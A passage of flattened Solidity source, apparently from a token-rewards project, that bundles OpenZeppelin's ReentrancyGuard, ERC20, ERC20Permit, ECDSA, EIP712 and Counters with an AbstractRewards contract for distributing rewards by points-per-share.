* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IBasePool {
function distributeRewards(uint256 _amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "../interfaces/IAbstractRewards.sol";
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
/**
* @dev Based on: https://github.com/indexed-finance/dividends/blob/master/contracts/base/AbstractDividends.sol
* Renamed dividends to rewards.
* @dev (OLD) Many functions in this contract were taken from this repository:
* https://github.com/atpar/funds-distribution-token/blob/master/contracts/FundsDistributionToken.sol
* which is an example implementation of ERC 2222, the draft for which can be found at
* https://github.com/atpar/funds-distribution-token/blob/master/EIP-DRAFT.md
*
* This contract has been substantially modified from the original and does not comply with ERC 2222.
* Many functions were renamed as "rewards" rather than "funds" and the core functionality was separated
* into this abstract contract which can be inherited by anything tracking ownership of reward shares.
*/
abstract contract AbstractRewards is IAbstractRewards {
using SafeCast for uint128;
using SafeCast for uint256;
using SafeCast for int256;
/* ======== Constants ======== */
uint128 public constant POINTS_MULTIPLIER = type(uint128).max;
event PointsCorrectionUpdated(address indexed account, int256 points);
/* ======== Internal Function References ======== */
function(address) view returns (uint256) private immutable getSharesOf;
function() view returns (uint256) private immutable getTotalShares;
/* ======== Storage ======== */
uint256 public pointsPerShare;
mapping(address => int256) public pointsCorrection;
mapping(address => uint256) public withdrawnRewards;
constructor(
function(address) view returns (uint256) getSharesOf_,
function() view returns (uint256) getTotalShares_
) {
getSharesOf = getSharesOf_;
getTotalShares = getTotalShares_;
}
/* ======== Public View Functions ======== */
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param _account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address _account) public view override returns (uint256) {
return cumulativeRewardsOf(_account) - withdrawnRewards[_account];
}
/**
* @notice View the amount of rewards that an address has withdrawn.
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has withdrawn.
*/
function withdrawnRewardsOf(address _account) public view override returns (uint256) {
return withdrawnRewards[_account];
}
/**
* @notice View the amount of rewards that an address has earned in total.
* @dev accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER
* @param _account The address of a token holder.
* @return The amount of rewards that `account` has earned in total.
*/
function cumulativeRewardsOf(address _account) public view override returns (uint256) {
return ((pointsPerShare * getSharesOf(_account)).toInt256() + pointsCorrection[_account]).toUint256() / POINTS_MULTIPLIER;
}
/* ======== Dividend Utility Functions ======== */
/**
* @notice Distributes rewards to token holders.
* @dev It reverts if the total shares is 0.
* It emits the `RewardsDistributed` event if the amount to distribute is greater than 0.
* About undistributed rewards:
* In each distribution, there is a small amount which does not get distributed,
* which is `(amount * POINTS_MULTIPLIER) % totalShares()`.
* With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting
* distributed in a distribution can be less than 1 (base unit).
*/
function _distributeRewards(uint256 _amount) internal {
uint256 shares = getTotalShares();
require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero");
if (_amount > 0) {
pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares);
emit RewardsDistributed(msg.sender, _amount);
}
}
/**
* @notice Prepares collection of owed rewards
* @dev It emits a `RewardsWithdrawn` event if the amount of withdrawn rewards is
* greater than 0.
*/
function _prepareCollect(address _account) internal returns (uint256) {
require(_account != address(0), "AbstractRewards._prepareCollect: account cannot be zero address");
uint256 _withdrawableDividend = withdrawableRewardsOf(_account);
if (_withdrawableDividend > 0) {
withdrawnRewards[_account] = withdrawnRewards[_account] + _withdrawableDividend;
emit RewardsWithdrawn(_account, _withdrawableDividend);
}
return _withdrawableDividend;
}
function _correctPointsForTransfer(address _from, address _to, uint256 _shares) internal {
require(_from != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_to != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPointsForTransfer: shares cannot be zero");
int256 _magCorrection = (pointsPerShare * _shares).toInt256();
pointsCorrection[_from] = pointsCorrection[_from] + _magCorrection;
pointsCorrection[_to] = pointsCorrection[_to] - _magCorrection;
emit PointsCorrectionUpdated(_from, pointsCorrection[_from]);
emit PointsCorrectionUpdated(_to, pointsCorrection[_to]);
}
/**
* @dev Increases or decreases the points correction for `account` by
* `shares*pointsPerShare`.
*/
function _correctPoints(address _account, int256 _shares) internal {
require(_account != address(0), "AbstractRewards._correctPoints: account cannot be zero address");
require(_shares != 0, "AbstractRewards._correctPoints: shares cannot be zero");
pointsCorrection[_account] = pointsCorrection[_account] + (_shares * (pointsPerShare.toInt256()));
emit PointsCorrectionUpdated(_account, pointsCorrection[_account]);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./draft-IERC20Permit.sol";
import "../ERC20.sol";
import "../../../utils/cryptography/draft-EIP712.sol";
import "../../../utils/cryptography/ECDSA.sol";
import "../../../utils/Counters.sol";
/**
* @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*
* _Available since v3.4._
*/
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH =
keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/**
* @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`.
*
* It's a good idea to use the same `name` that is defined as the ERC20 token name.
*/
constructor(string memory name) EIP712(name, "1") {}
/**
* @dev See {IERC20Permit-permit}.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
/**
* @dev See {IERC20Permit-nonces}.
*/
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
/**
* @dev See {IERC20Permit-DOMAIN_SEPARATOR}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
/**
* @dev "Consume a nonce": return the current value and increment.
*
* _Available since v4.1._
*/
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP
* section].
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ECDSA.sol";
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
* _Available since v3.4._
*/
abstract contract EIP712 {
/* solhint-disable var-name-mixedcase */
// Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
interface IAbstractRewards {
/**
* @dev Returns the total amount of rewards a given address is able to withdraw.
* @param account Address of a reward recipient
* @return A uint256 representing the rewards `account` can withdraw
*/
function withdrawableRewardsOf(address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has withdrawn.
* @param account The address of a token holder.
* @return The amount of funds that `account` has withdrawn.
*/
function withdrawnRewardsOf(address account) external view returns (uint256);
/**
* @dev View the amount of funds that an address has earned in total.
* accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account)
* = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER
* @param account The address of a token holder.
* @return The amount of funds that `account` has earned in total.
*/
function cumulativeRewardsOf(address account) external view returns (uint256);
/**
* @dev This event emits when new funds are distributed
* @param by the address of the sender who distributed funds
* @param rewardsDistributed the amount of funds received for distribution
*/
event RewardsDistributed(address indexed by, uint256 rewardsDistributed);
/**
* @dev This event emits when distributed funds are withdrawn by a token holder.
* @param by the address of the receiver of funds
* @param fundsWithdrawn the amount of funds that were withdrawn
